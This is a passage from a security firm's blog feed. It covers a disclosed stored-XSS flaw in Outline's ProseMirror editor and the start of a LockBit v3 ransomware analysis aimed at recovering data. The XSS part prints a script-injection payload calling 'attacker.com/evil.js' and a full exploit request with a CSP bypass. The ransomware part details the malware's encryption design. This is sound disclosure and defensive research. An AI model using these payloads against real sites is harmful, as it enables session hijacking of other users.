]</code></pre></li><li><p>A node child: This object renders to &lt;div class=&#8221;test&#8221;&gt;&lt;img src=&#8221;/image/path&#8221;&gt;&lt;/div&gt;.</p><pre><code>[
    "div",
    { class: "test" },
    [
&#9; "img",
&#9; { src: "/image/path" },
&#9; 0
    ]
]</code></pre></li></ul><h2><strong>Type confusion attacks</strong></h2><p>The rendering process has two important security considerations:</p><ul><li><p>toDOM takes as input a potentially untrustworthy JSON object, and returns as output a DOMOutputSpec object.</p></li><li><p>The DOMOutputSpec object can be a text string or an array.</p></li></ul><p>Since a JSON object can contain text strings or arrays, toDOM might just copy the input JSON to its output DOMOutputSpec. This coding pattern might lead to type confusion attacks: toDOM might think it copies text strings, but it actually copies arrays. When DOMSerializer.renderSpec processes the output, instead of creating a text node, it will create an HTML DOM element. When the arrays specify, for example, script DOM elements, this leads to XSS.</p><p>Here is an example node spec with a vulnerable toDOM function:</p><pre><code>{
  attrs: {
    id: {
      default: null,
    },
    src: {
      default: null,
    },
    title: {},
  },
  toDOM: (node) =&gt; [
    "div",
    {
      class: "video",
    },
    [
      "video",
      {
        id: node.attrs.id,
        src: sanitizeUrl(node.attrs.src),
      },
      node.attrs.title,
    ],
  ],
}</code></pre><p>In this toDOM method, node.attrs.title is copied verbatim from the JSON input. The developer wants to copy a text string because they intend to output the following HTML:</p><pre><code>&lt;div class="video"&gt;
&#9;&lt;video id="[id]" src="[src]&gt;
&#9;&#9;[title]
&#9;&lt;/video&gt;
&lt;/div&gt;</code></pre><p>However, if we control the JSON content, we can pass node.attrs.title as an array specifying an script element, as follows:</p><pre><code>{
  type: "&lt;node name&gt;",
  attrs: {
    id: "blah",
    src: "https://example.com",
    title: [
       "script",
        {
            "src": "https://attacker.com/evil.js"
        },
    ],
  },
}</code></pre><p>This will force DOMSerializer.renderSpec to render a script element loading a JavaScript file under our control.</p><h1><strong>Outline case study</strong></h1><h2><strong>ProseMirror in Outline</strong></h2><p>Outline uses ProseMirror to implement a <a href="https://github.com/outline/outline/blob/main/app/editor/index.tsx">generic React editor</a>. The editor is customized to support various use cases:</p><ul><li><p><a href="https://github.com/outline/outline/blob/main/app/scenes/Document/components/Editor.tsx">Document editor</a> and<a href="https://github.com/outline/outline/blob/main/app/scenes/Document/components/MultiplayerEditor.tsx"> multiplayer document editor</a></p></li><li><p><a href="https://github.com/outline/outline/blob/main/app/components/CollectionDescription.tsx">Collection description editor</a></p></li><li><p><a href="https://github.com/outline/outline/blob/main/app/scenes/Document/components/CommentEditor.tsx">Comment editor</a></p></li><li><p><a href="https://github.com/outline/outline/blob/main/app/components/HoverPreview/HoverPreviewDocument.tsx">Hover preview editor</a>&nbsp;</p></li></ul><p>All node specs and mark specs are defined at the following locations:</p><ul><li><p><a href="https://github.com/outline/outline/tree/main/shared/editor/nodes">https://github.com/outline/outline/tree/main/shared/editor/nodes</a></p></li><li><p><a href="https://github.com/outline/outline/tree/main/shared/editor/marks">https://github.com/outline/outline/tree/main/shared/editor/marks</a></p></li><li><p><a href="https://github.com/outline/outline/tree/main/shared/editor/extensions">https://github.com/outline/outline/tree/main/shared/editor/extensions</a></p></li></ul><h2><strong>Stored XSS in the mention node spec</strong></h2><p>We discovered that the <a href="https://github.com/outline/outline/blob/main/shared/editor/nodes/Mention.ts">mention node spec</a> was vulnerable to a type confusion attack, via the node.attrs.label property. The simplified node spec with the vulnerable toDOM code is shown as below:</p><pre><code>{
  attrs: {
    label: {},
    id: {},
  },
  toDOM: (node) =&gt; [
    "span",
    {
      class: `${node.type.name} use-hover-preview`,
      id: node.attrs.id,
    },
    node.attrs.label,
  ],
}</code></pre><p>To exploit this vulnerability, we create a new comment for a document, then update it with the following HTTP request:</p><pre><code>POST /api/comments.update HTTP/1.1
Host: docs.calif-pentest.com
Cookie: sessions=%7B%7D; lastSignedIn=saml; accessToken=[accessToken]
Content-Length: 463
Cache-Control: no-cache
Pragma: no-cache
X-Api-Version: 3
Sec-Ch-Ua-Mobile: ?0
X-Editor-Version: 13.0.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json
Sec-Ch-Ua-Platform: "Windows"
Origin: &lt;https://docs.calif-pentest.com&gt;
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: keep-alive

{
  "data": {
    "type": "doc",
    "content": [
      {
        "type": "paragraph",
        "content": [
          {
            "type": "mention",
            "attrs": {
              "type": "user",
              "modelId": "98e9c4e7-d4a7-48c9-98f4-f6c89183398f",
              "actorId": "98e9c4e7-d4a7-48c9-98f4-f6c89183398f",
              "id": "dcca1178-0858-48ca-a6e0-ce1dd47f2d61",
              "label": [
                "script",
                {
                  "src": "&lt;https://docs.calif-pentest.com/api/attachments.redirect?id=8f16c968-a712-4bc7-8ea9-47ab3044502b&gt;"
                },
                "testxss"
              ]
            }
          },
          {
            "type": "text",
            "text": " a"
          }
        ]
      }
    ]
  },
  "id": "28d55628-5e58-4635-9b9c-e8aaeede4df3"
}</code></pre><p>Instead of passing a string value for the label property, we passed an array:</p><pre><code>[
 "script",
 {
   "src": "&lt;https://docs.calif-pentest.com/api/attachments.redirect?id=8f16c968-a712-4bc7-8ea9-47ab3044502b&gt;"
 },
 "testxss"
]</code></pre><p>Due to strict CSP rules, Outline does not load external JavaScript files. We can bypass this by attaching a JavaScript file into a document, and reference it via an attachment link like this:</p><pre><code>https://docs.calif-pentest.com/api/attachments.redirect?id=8f16c968-a712-4bc7-8ea9-47ab3044502b</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!O-rI!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41cea478-39a2-42cf-9b5c-6c1d999442d1_3414x1806.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!O-rI!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41cea478-39a2-42cf-9b5c-6c1d999442d1_3414x1806.png 424w, https://substackcdn.com/image/fetch/$s_!O-rI!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41cea478-39a2-42cf-9b5c-6c1d999442d1_3414x1806.png 848w, https://substackcdn.com/image/fetch/$s_!O-rI!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41cea478-39a2-42cf-9b5c-6c1d999442d1_3414x1806.png 1272w, https://substackcdn.com/image/fetch/$s_!O-rI!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41cea478-39a2-42cf-9b5c-6c1d999442d1_3414x1806.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!O-rI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41cea478-39a2-42cf-9b5c-6c1d999442d1_3414x1806.png" width="1456" height="770" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/41cea478-39a2-42cf-9b5c-6c1d999442d1_3414x1806.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:770,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:412592,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!O-rI!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41cea478-39a2-42cf-9b5c-6c1d999442d1_3414x1806.png 424w, https://substackcdn.com/image/fetch/$s_!O-rI!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41cea478-39a2-42cf-9b5c-6c1d999442d1_3414x1806.png 848w, https://substackcdn.com/image/fetch/$s_!O-rI!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41cea478-39a2-42cf-9b5c-6c1d999442d1_3414x1806.png 1272w, https://substackcdn.com/image/fetch/$s_!O-rI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41cea478-39a2-42cf-9b5c-6c1d999442d1_3414x1806.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1><strong>Recommendations</strong></h1><p>We showed how to exploit a type confusion issue to mount a stored XSS attack in Outline. Due to the complexity of ProseMirror editors, we believe there might be other attacks. To mitigate our specific attack or XSS attacks in general, we recommend implementing the following mitigations.</p><h2><strong>Mitigate type confusion attacks</strong></h2><p>We recommend updating the toDOM functions to verify all node attributes. Most node attributes are strings, and should be verified as so.</p><h2><strong>Sandbox the editor</strong></h2><p>We recommend re-designing the editor to render content in sandboxed iframes. An editor usually supports a lot of content types, such as math, external embeds, code highlight, Mermaid diagram, etc. These content types pull in many external libraries, which significantly increases the attack surface. Sandboxing the editor should help reduce the impact of any vulnerabilities.</p><h2><strong>Allow developers to declare stricter schema rules</strong></h2><p>This recommendation is for ProseMirror maintainers. ProseMirror lacks strict schema declarations for node attributes, especially the attribute type. Editor developers might forget to validate node attributes by themselves. We recommend the ProseMirror team to:</p><ul><li><p>Provide a convenient way to declare allowed types of node attributes.</p></li><li><p>Enforce a default string type for undeclared node attributes.&nbsp;</p></li></ul><h1><strong>Timeline&nbsp;</strong></h1><ul><li><p>July 12 2024: We reported the issue to Outline.</p></li><li><p>July 14 2024: Outline fixed the issue and contacted ProseMirror maintainers. ProseMirror updated a new version and published a <a href="https://discuss.prosemirror.net/t/heads-up-xss-risk-in-domserializer/6572">security guide</a>.</p></li><li><p>July 16 2024: Outline released a new version and published an <a href="https://github.com/outline/outline/security/advisories/GHSA-888c-mvg8-v6wh">advisory</a>. </p></li></ul>]]></content:encoded></item><item><title><![CDATA[Dissecting LockBit v3 ransomware]]></title><description><![CDATA[We analyzed a variant of LockBit v3 ransomware, and rediscovered a bug that allows us to decrypt some data without paying the ransom. We also found a design flaw that may cause permanent data loss.]]></description><link>https://blog.calif.io/p/dissecting-lockbit-v3-ransomware</link><guid isPermaLink="false">https://blog.calif.io/p/dissecting-lockbit-v3-ransomware</guid><dc:creator><![CDATA[Nhân Huỳnh]]></dc:creator><pubDate>Thu, 02 May 2024 08:55:42 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe8a1cec-11dd-4650-bcf7-625e481fc2a1_1191x457.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>Introduction</h1><p>In our last <a href="https://blog.calif.io/p/ransomware-response-strategy">article</a>, we recommended analyzing ransomware binaries as part of an effective ransomware response strategy:</p><blockquote><p>&#8220;Analyzing binaries is hard. Analyzing obfuscated ransomware is even harder.</p><p>[...] However, it is worth investing in analyzing and understanding ransomware. Crypto breaking bugs may be rare, but they are not impossible to find. In addition, ransomware authors may not fully understand how to use crypto correctly. The only way to determine if it is possible to recover the data, if any, is the long and detailed ransomware analysis by an expert team.</p><p>[...] In addition, a successful analysis can help reassure you that there are no potential bugs in the encryption and decryption process. It also helps the technical team understand and potentially improve the recovery process. This is an investment that should be considered early on in an incident.&#8221;</p></blockquote><p>In this article, we show some examples of crucial intelligence you can gain from a meticulous and accurate ransomware analysis. The target of this analysis is a variant of the <strong>LockBit&nbsp;v3</strong>&nbsp;ransomware that we encountered in a recent engagement. This variant is also known as <strong>LockBit&nbsp;Black</strong>&nbsp;due to some code similarity with the <strong>BlackMatter&nbsp;</strong>family. These samples are built from the leaked LockBit&nbsp;v3&nbsp;builder <a href="https://github.com/petikvx/LockBit-Black-Builder/">available on </a><a href="https://www.google.com/url?q=https://github.com/petikvx/LockBit-Black-Builder/&amp;sa=D&amp;source=editors&amp;ust=1714637272629606&amp;usg=AOvVaw2sFrehVMRgSNzGAXGz6Xaa">GitHub.</a></p><p><strong>Calif discovered two issues&nbsp;in this version of the ransomware:</strong></p><ul><li><p>a crypto bug that may allow for the decryption of a portion of the data without the private key, i.e., without paying the ransom.</p></li><li><p>a design flaw that may cause data corruption and permanent data loss.</p></li></ul><p>We decided to publish this analysis for the following reasons:</p><ul><li><p>The crypto bug is already known to the malware author. We have observed newer variants where we can no longer take advantage of this bug.</p></li><li><p>We want&nbsp;to share our analysis and research to help other affected organizations prepare and respond to the same ransomware family, especially regarding the data corruption flaw.</p></li><li><p>The LockBit&nbsp;v3&nbsp;family contains interesting anti-analysis techniques and clever use of standard cryptographic algorithms that are not well documented. These technical details would be valuable for malware researchers and threat hunters.</p></li></ul><p>We also publish an open-source decryptor for this variant. You can download the tool from <a href="https://github.com/califio/lockbit-v3-linux-decryptor">GitHub</a>.</p><p>Calif would like to extend a special thank you to <a href="https://chuongdong.com/">Chuong Dong</a>&nbsp;&#8211; a malware expert who has previous experience with this ransomware family. During the initial analysis, we requested Chuong&#8217;s assistance to swiftly comprehend the file encryption scheme. His help proved highly valuable as we managed to quickly reimplement the decryptor.</p><p>Note that the screenshots and code snippets within this article assume that the encryptor is loaded at address 0xFA0000&nbsp;instead of the default ImageBase&nbsp;of 0x400000.&nbsp;The decryptor is loaded at the ImageBase of 0x400000. In addition, the ransomware has many anti-debugging and obfuscation mechanisms. To bypass these protections and reproduce this analysis, please refer to <a href="https://blog.calif.io/i/144230301/appendix-a-reverse-engineering-detail">Appendix A: Reverse engineering detail</a>.</p><h1><strong>Table of contents</strong></h1><p><a href="https://blog.calif.io/i/144230301/introduction">Introduction</a></p><p><a href="https://blog.calif.io/i/144230301/encryption-and-decryption-logic">Encryption and decryption logic</a></p><ul><li><p><a href="https://blog.calif.io/i/144230301/encrypted-file-structure">Encrypted file structure</a></p></li><li><p><a href="https://blog.calif.io/i/144230301/footer-structure">Footer structure</a></p></li><li><p><a href="https://blog.calif.io/i/144230301/modified-salsa">Modified Salsa20</a></p></li><li><p><a href="https://blog.calif.io/i/144230301/rsa-with-no-padding">RSA with no padding</a></p></li><li><p><a href="https://blog.calif.io/i/144230301/file-encryption">File encryption</a></p></li><li><p><a href="https://blog.calif.io/i/144230301/file-decryption">File decryption</a></p></li></ul><p><a href="https://blog.calif.io/i/144230301/flaws">Flaws</a></p><ul><li><p><a href="https://blog.calif.io/i/144230301/keystream-reuse-vulnerability">Keystream reuse vulnerability</a></p></li><li><p><a href="https://blog.calif.io/i/144230301/data-corruption">Data corruption</a></p></li></ul><p><a href="https://blog.calif.io/i/144230301/conclusion">Conclusion</a></p><p><a href="https://blog.calif.io/i/144230301/appendix-a-reverse-engineering-detail">Appendix A: Reverse engineering detail</a></p><p><a href="https://blog.calif.io/i/144230301/appendix-b-open-source-decryption-tool">Appendix B: Open-source decryption tool</a></p><p><a href="https://blog.calif.io/i/144230301/appendix-c-binary-information-and-indicators-of-compromise-iocs">Appendix C: Binary Information and Indicators of Compromise (IOCs)</a></p><p><a href="https://blog.calif.io/i/144230301/appendix-d-idc-script-to-rename-functions">Appendix D: IDC script to rename functions</a></p><p><a href="https://blog.calif.io/i/144230301/appendix-e-chunk-counts-and-skip-bytes">Appendix E: Chunk counts and skip bytes</a></p><h1>Encryption and decryption logic</h1><p>The sample encrypts files using a combination of symmetric and asymmetric cryptography, as follows:</p><ul><li><p>Generate&nbsp;a 64-byte random key for each targeted file. We will refer to it as the <strong>file_encryption_key</strong>. We&nbsp;identify the&nbsp;encryption algorithm as a variant of <strong><a href="https://cr.yp.to/salsa20.html">Salsa20</a></strong>. Normally, Salsa20 uses a 32-byte key, but this variant uses 64-byte. Please refer to the <a href="https://blog.calif.io/i/144230301/modified-salsa">Modified Salsa20</a><strong>&nbsp;</strong>section for more details. Unless specified otherwise, all references to Salsa20 in this document refer to this modified version.</p></li><li><p>Generate another 64-byte random Salsa20 key to encrypt the file_encryption_key. We will refer to this second key as the <strong>key_encryption_key</strong>. As an optimization to reduce the number of slow RSA encryption operations, the sample&nbsp;reuses this key for 1,000 files before generating a new one. This key reuse leads to a vulnerability described in the <a href="https://blog.calif.io/i/144230301/key-stream-reuse-vulnerability">Keystream reuse vulnerability&nbsp;section</a>.</p></li><li><p>Encrypt the key_encryption_keys&nbsp;using <strong>RSA with no padding</strong>, using a 1024-bit&nbsp;public key embedded within. We describe this algorithm in the <a href="https://blog.calif.io/i/144230301/rsa-with-no-padding">RSA with no padding</a>&nbsp;section.&nbsp;Note that since 2015 <a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf">NIST</a> has recommended against using 1024-bit RSA keys.</p></li></ul><h2>Encrypted file structure</h2><p>The sample processes targeted files the same way during encryption and decryption. It divides each file into chunks of 0x20000 bytes. The sample does not pad the file if the file size or the size of the last chunk is less than 0x20000 bytes.</p><p>Consecutive chunks form a group. There are three group types: <strong>before</strong>, <strong>skip</strong>, and <strong>after group</strong>.&nbsp;There is exactly one &#8220;before group&#8221;&nbsp;at the beginning of the file. The skip group&nbsp;and the after group follow the before group and repeat alternatively throughout the rest of the file.</p><p>The sample encrypts chunks of the before group and after groups using Salsa20. It leaves chunks in the skip group unencrypted.&nbsp;It determines the number of chunks in each group based on the file size. Please refer to <a href="https://blog.calif.io/i/144230301/appendix-e-chunk-counts-and-skip-bytes">Appendix E</a> for more details.</p><p>An encrypted file ends with a&nbsp;<strong>footer</strong>&nbsp;containing information about the file such as the file&#8217;s original name, number of chunks in each group, etc, including the file_encryption_key&nbsp;to decrypt the file data. The sample encrypts this footer, and appends it to the file after the encryption finishes. For a detailed description of the footer&nbsp;structure, refer to the next section.</p><p>The overall structure of an encrypted file can be visualized as follows:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!xF2f!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa766c818-c8ec-4321-9ba3-745555f795b4_761x61.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xF2f!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa766c818-c8ec-4321-9ba3-745555f795b4_761x61.png 424w, https://substackcdn.com/image/fetch/$s_!xF2f!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa766c818-c8ec-4321-9ba3-745555f795b4_761x61.png 848w, https://substackcdn.com/image/fetch/$s_!xF2f!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa766c818-c8ec-4321-9ba3-745555f795b4_761x61.png 1272w, https://substackcdn.com/image/fetch/$s_!xF2f!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa766c818-c8ec-4321-9ba3-745555f795b4_761x61.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xF2f!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa766c818-c8ec-4321-9ba3-745555f795b4_761x61.png" width="761" height="61" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a766c818-c8ec-4321-9ba3-745555f795b4_761x61.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:61,&quot;width&quot;:761,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:5902,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!xF2f!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa766c818-c8ec-4321-9ba3-745555f795b4_761x61.png 424w, https://substackcdn.com/image/fetch/$s_!xF2f!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa766c818-c8ec-4321-9ba3-745555f795b4_761x61.png 848w, https://substackcdn.com/image/fetch/$s_!xF2f!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa766c818-c8ec-4321-9ba3-745555f795b4_761x61.png 1272w, https://substackcdn.com/image/fetch/$s_!xF2f!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa766c818-c8ec-4321-9ba3-745555f795b4_761x61.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h2>Footer structure</h2><p>We reconstruct the overall structure of the footer<em><strong>&nbsp;</strong></em>in the C snippet below:</p><pre><code>struct file_encryption_info
{
  char filename[file_encryption_info.filename_size]; // apLib compressed
  uint16_t filename_size;
  LARGE_INTEGER skipped_bytes;
  int before_chunk_count;
  int after_chunk_count;
  uint8_t file_encryption_key[0x40];
};

struct key_encryption_info
{
  uint16_t file_encryption_info_length;  // necessary because filename is dynamically sized
  int checksum;
  union
 {
    struct
    {
        uint8_t key_encryption_key[0x40];
        uint8_t checksum[0x40];
    } decrypted;
    uint8_t encrypted_key_encryption_key[0x80];  // RSA encrypted
 } key_blob;
};

struct footer
{
  struct file_encryption_info file_encryption_info;  // Salsa20 encrypted
  struct key_encryption_info key_encryption_info;
};</code></pre><p>The <strong>file_encryption_info</strong>&nbsp;contains a randomly generated key to decrypt the file content. The file_encryption_info is encrypted using Salsa20. The key to decrypt the file_encryption_info is stored in the encrypted_key_encryption_key field of the <strong>key_encryption_info</strong>&nbsp;structure. This field, in turn, is encrypted using the RSA public key embedded in the ransomware.</p><p>The decryptor contains an embedded private key, and works as follows:</p><ol><li><p>Read the key_encryption_info structure at offset 0x86&nbsp;bytes from the end of the file.</p></li><li><p>Hash the&nbsp;encrypted_key_encryption_key&nbsp;field and verify it against the&nbsp;checksum&nbsp;field as seen <a href="https://gist.github.com/Demonslay335/aa435774bbb93b505a243b388b7278fa">here</a>.</p></li><li><p>Decrypt the&nbsp;encrypted_key_encryption_key&nbsp;using the embedded private RSA key then validate the&nbsp;key_encryption_key&nbsp;with the decrypted.checksum&nbsp;field.</p></li><li><p>Calculate the start of the file_encryption_info structure using the file_encryption_info_length&nbsp;field.</p></li><li><p>Use the&nbsp;key_encryption_key&nbsp;to decrypt the file_encryption_info structure using the modified Salsa20 algorithm. This structure contains the Salsa20 file_encryption_key&nbsp;that can be used to decrypt the chunks in the before group and after group.</p></li></ol><h2>Modified Salsa20</h2><p>The sample encrypts the file_encryption_info<strong>&nbsp;</strong>structure and the chunks using Salsa20 at address 0x00FA20AC.</p><p>Salsa20 has a 64-byte state that is used to generate a key stream to encrypt the plaintext one 64-byte block at a time. In the vanilla Salsa20 standard, the initial 64-byte state consists of a 32-byte key, an 8-byte block counter, an 8-byte nonce, and a 16-byte constant that spell &#8220;expand 32-byte k&#8221; in ASCII.</p><p>However, in this variant, the entire initial state is filled with random values. The aforementioned file_encryption_key&nbsp;and key_encryption_key&nbsp;are the initial states of the file encryption and key encryption processes respectively.</p><p>This finding shows that LockBit v3 is indeed a successor of BlackMatter, which in turn came from the Darkside ransomware family. <a href="https://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/">Chuong&#8217;s analysis of Darkside</a>&nbsp;shows that it also fills the Salsa20&#8217;s initial state, which Chuong called the matrix, with random values.</p><h2>RSA with no padding</h2><p>This sample encrypts key_encryption_info.key_encryption_key&nbsp;and key_encryption_info.checksum, using a <a href="https://cloud.google.com/blog/topics/threat-intelligence/cryptography-blackmatter-ransomware">custom implementation</a>&nbsp;of the RSA algorithm at address&nbsp;0x00FA17B4.</p><p>Recall that an RSA public key consists of two components:</p><ul><li><p>The modulus N.</p></li><li><p>The public exponent e.</p></li></ul><p>To encrypt a message m&nbsp;using RSA with no padding, you compute m^e (mod N). This encryption mode, which is known as textbook RSA, has many potential footguns. For example, it&#8217;s possible to recover small messages. Therefore, m&nbsp;is usually padded with <a href="https://datatracker.ietf.org/doc/html/rfc8017#section-7.2">PKCS v1.5</a>&nbsp;or <a href="https://datatracker.ietf.org/doc/html/rfc8017#section-7.1">OAEP</a>&nbsp;padding schemes.</p><p>However, the sample uses no padding. We can&#8217;t find any obvious issues, because the sample only encrypts messages that have the same size as the modulus. In particular, it uses a 1024-bit key to encrypt key_encryption_info.key_encryption_key&nbsp;and key_encryption_info.checksum, which in total are also 1024 bits long.</p><h2>File encryption</h2><p>Before encrypting any files, the sample parses its embedded configuration at address &nbsp;0x00FC600C. This data are encrypted by the function at 0x00FA6F48 and contain information such as configuration flags, file hashes&nbsp;to avoid, ransom note, and the RSA public key used to encrypt the randomly generated key_encryption_info.key_encryption_key.</p><p>After decrypting its configurations, the sample parses its command line arguments and enumerates target paths to encrypt files.&nbsp;The sample operates slightly differently depending on the command line argument. However, the file encryption logic is similar across different execution flows. The sample creates one thread for traversing and queueing files to be encrypted and multiple threads to actually encrypt the files. The threads communicate asynchronously with each other using an <a href="https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports">IO completion port</a>.</p><p>At a high-level, the encryption threads work as follows:</p><ul><li><p>The file traversal and queueing logic starts at 0x00FAF308.</p></li></ul><ul><li><p>It drops a ransom note in the current directory.</p></li><li><p>For each file in the current target directory, it verifies the filename against the lists of hashes to avoid. If the current filename doesn&#8217;t belong to any of the lists, it renames the current file and adds a unique extension. In our variant, the extension is <strong>.IzYqBW5pa</strong>.</p></li><li><p>It increases various counters, including a counter for the number of files using the current key_encryption_key. This key is randomly generated and reused once every 1,000 files. Once this counter reaches 1,000, the sample resets it back to 0 and generates a new key_encryption_key.&nbsp;This design introduces a bug that allows for the decryption without paying the ransom. This bug is described in detail in the Key stream reuse vulnerability&nbsp;section.</p></li><li><p>It fills out and sets up the key_encryption_info&nbsp;structure for the current file. The logic to set the before_chunk_count, skipped_bytes, and after_chunk_count&nbsp;is at address 0x00FAE8AC. These values are determined based on the current file size. Refer to <a href="https://blog.calif.io/i/144230301/appendix-e-chunk-counts-and-skip-bytes">Appendix E</a>&nbsp;for the exact values of each field based on the current file size.</p></li></ul><ul><li><p>The file encryption thread logic starts at address 0x00FADE78. This function simply determines if it needs to encrypt the current chunk depending on the file_encryption_info&nbsp;structure. It uses a randomly generated key stored at file_encryption_info.file_encryption_key&nbsp;to encrypt each chunk using Salsa20. Finally, when the entire file is processed, it writes the footer structure to the end of the file.</p></li></ul><h2>File decryption</h2><p>The decryptor binary LB3Decryptor.exe&nbsp;is not obfuscated and can be quickly analyzed statically.</p><p>Similar to the encryptor, the decryptor parses its command 